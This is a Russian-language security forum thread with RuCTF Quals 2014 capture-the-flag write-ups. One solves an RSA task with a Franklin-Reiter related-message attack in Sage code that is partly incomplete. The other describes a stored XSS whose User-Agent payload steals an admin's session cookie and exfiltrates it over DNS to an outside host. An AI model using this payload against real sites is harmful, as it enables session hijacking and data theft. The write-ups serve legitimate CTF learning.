Старый 11.03.2014, 22:45   #1
Регистрация: 06.07.2010
Сообщений: 402
Репутация: 118
По умолчанию RuCTF Quals 2014 write-ups

Huh, there were no write-ups from RDot for a long time. It's quite useful to write the solution of tasks, 'cause it makes you to systematize and remember the techniques.
We didn't participate in this RuCTF in normal way and solved only several tasks and all web tasks (mostly by BlackFan).
But i've learned a bit and would like to write it.

Crypto 500

Two agents, Alex and Jane, have simultaneously known very secret message and transmitted it to Center. You know following:
1) They used RSA with this public key
2) They sent exactly the same messages except the signatures (name appended, eg. "[message]Alex")
3) They did encryption this way:
c, = pubKey.encrypt(str_to_num(message), 1) # using RSA from Crypto.PublicKey
c = num_to_str(c).encode('hex')
4) And here are cryptograms you have intercepted:

"61be5676e0f8311dce5d991e841d180c95b9fc15576f2ada0 bc619cfb991cddfc51c4dcc5ecd150d7176c835449b5ad085a bec38898be02d2749485b68378a8742544ebb8d6dc45b58fb9 bac4950426e3383fa31a933718447decc5545a7105dcdd381e 82db6acb72f4e335e244242a8e0fbbb940edde3b9e1c329880 803931c"

"9d3c9fad495938176c7c4546e9ec0d4277344ac118dc21ba4 205a3451e1a7e36ad3f8c2a566b940275cb630c66d95b1f976 14c3b55af8609495fc7b2d732fb58a0efdf0756dc917d5eeef c7ca5b4806158ab87f4f447139d1daf4845e18c8c712039281 7314fec0f0c1f248eb31af153107bd9823797153e35cb7044b 99f26b0"

Now tell me that secret message! (The answer for this task starts from 'ructf_')
First of all extract the modulus and exponent:
$ openssl rsa -text -pubin < key.pub
Public-Key: (1024 bit)
Exponent: 12289 (0x3001)
Now google for "rsa cryptograms attack" and see several articles on new related message attacks on RSA. See a Wikipedia article with the description of Franklin-Reiter theorem: http://en.wikipedia.org/wiki/Coppersmith's_Attack#Franklin-Reiter_Related_Message_Attack

Now everything is clear: we've got 2 plaintexts, which are linear dependent (M_1 = f(M_2)), and we've got their ciphertexts.
Now, since exponentiation of the plaintext modulo N gives us the ciphertext, we've got two polynomials:
A = f(x)^e - C_1
B = x^e - C_2
M_2 is the root of both of these polynomials, thus, we can obtain its value by computing GCD(A, B) and transforming it to the form x - M_2 modulo N.

Ok, let's do it with SageMath. We'll use PolynomialRing over the quotient of Z over the ideal N*Z, which gives us exactly Z_N[x].
def n2s(n):
    s = hex(n)[2:-1]
    if len(s) % 2 != 0:
        s = '0' + s
    return s.decode('hex')

n = int('00a35fe41555b06b23cd769a2aad77cad3a3daa6a76de7591c8b8f281afa5125297fb10541387f8b998d2fd1a76120dd147281ac5208ea52d3ecad1e3e7cab5c0db247ddf87cd8adc3ad13bfb571e26d2e17ffa2429a80b7e9dbdf4054845fd2242ae071fe1a195d28900eda405da3e937ca29dff284e0528c3db510dea9c733bf', 16)
s1 = int('Alex'.encode('hex'), 16)
s2 = int('Jane'.encode('hex'), 16)
c1 = int('61be5676e0f8311dce5d991e841d180c95b9fc15576f2ada0bc619cfb991cddfc51c4dcc5ecd150d7176c835449b5ad085abec38898be02d2749485b68378a8742544ebb8d6dc45b58fb9bac4950426e3383fa31a933718447decc5545a7105dcdd381e82db6acb72f4e335e244242a8e0fbbb940edde3b9e1c329880803931c', 16)
c2 = int('9d3c9fad495938176c7c4546e9ec0d4277344ac118dc21ba4205a3451e1a7e36ad3f8c2a566b940275cb630c66d95b1f97614c3b55af8609495fc7b2d732fb58a0efdf0756dc917d5eeefc7ca5b4806158ab87f4f447139d1daf4845e18c8c7120392817314fec0f0c1f248eb31af153107bd9823797153e35cb7044b99f26b0', 16)
e = 0x3001

x = PolynomialRing(ZZ.quo(n*ZZ), 'x').gen()
a = f
b = g
i = 0

while True:
    r = a % b
    print i
    if r == 0:
        print 'FOUND %s' % rp
        c = rp.coeffs()
        print 'FLAG %s' % n2s(int(-pow(c[1], -1, n) * c[0]))
    rp = r
    a, b = b, r
    i += 1
Let's get the flag!
$ sagemath crypto500.sage
FOUND 86347048644041959766090057410640305461678868162177979421087317554210234110369955526791775847361535519143092394149068764498277643348795961082156089836642351621424445435902804588119216433665103505792218858888305714770868178378804365816297013813657963875724856245424023118807158540880143607254801768717070147804*x + 40836521644702680933657456433228492950202348193489549527400191298584941329596522282892128987400285318068118281466151919632036439194000125584502933334684046351809219092582554420924491543953943827409526936466307711980634548206697972041905742975718906307805649969647422605338208203046892961449351897728557420002
FLAG The key is RUCTF_StandBackImGonnaDoMath. Jane

Web 400

Hi! We have unconfirmed information about our agent and developer of our site. His tasks includes processing requests from civilians. We think that he is double agent and works for irRational Security Agency. Help us to find evidence about that.
Auth: 164:96420acaba889cab38b4a07bcfd5562f
Flag format is "RUCTF_.*".
We've got the site with the form for sending some anonymous requests. Send it and get the page like /msg?id=8e22c45c65438e5108bd4e349da3a25b. There you see your unapproved request, and in HTML source code you see the comment with your IP address and user-agent string!
Looks like an administrator should approve the requests, and he'll see this page. So, we've got an XSS.
But we've also got a problem:
09.03.2014 13:20 MSK. Hint for task web:400 (irRSA). It seems that agent and system developer have disabled all outbound connections from agent's computer to the Internet ;-).
At this moment i suggested BlackFan to use DNS tunnel with my server, and it suddenly worked o_O
Moreover, the HTTPOnly flag for cookie id was not set, so, we got admin's cookie.
Payload by BlackFan:
User-Agent: --><script>g=document.cookie.match(/ssid=([\da-f]+)/)[1];$.ajax({url:"http://"+g+".ahack.ru"})</script>
Configuration for Bind9 logging (named.conf):
logging {
  channel my_file {
     file "log.msgs";
     severity debug;
     print-category yes;
     print-severity yes;
  category default  { default_syslog; my_file; };
  category queries  { my_file; };
Authors of the task said that bot's UA is Firefox.

Последний раз редактировалось Beched; 13.03.2014 в 12:13..
Beched вне форума   Ответить с цитированием
Старый 19.03.2014, 15:30   #2
Аватар для BeLove
Регистрация: 30.11.2011
Сообщений: 7
Репутация: -1
По умолчанию

DNS запросы проще было залогировать через https://thesprawl.org/projects/dnschef/, чем целый бинд поднимать и настраивать )
BeLove вне форума   Ответить с цитированием
Старый 19.03.2014, 15:32   #3
Регистрация: 06.07.2010
Сообщений: 402
Репутация: 118
По умолчанию

Сообщение от BeLove Посмотреть сообщение
DNS запросы проще было залогировать через https://thesprawl.org/projects/dnschef/, чем целый бинд поднимать и настраивать )
У меня он уже стоял под свои нужды =)
Beched вне форума   Ответить с цитированием

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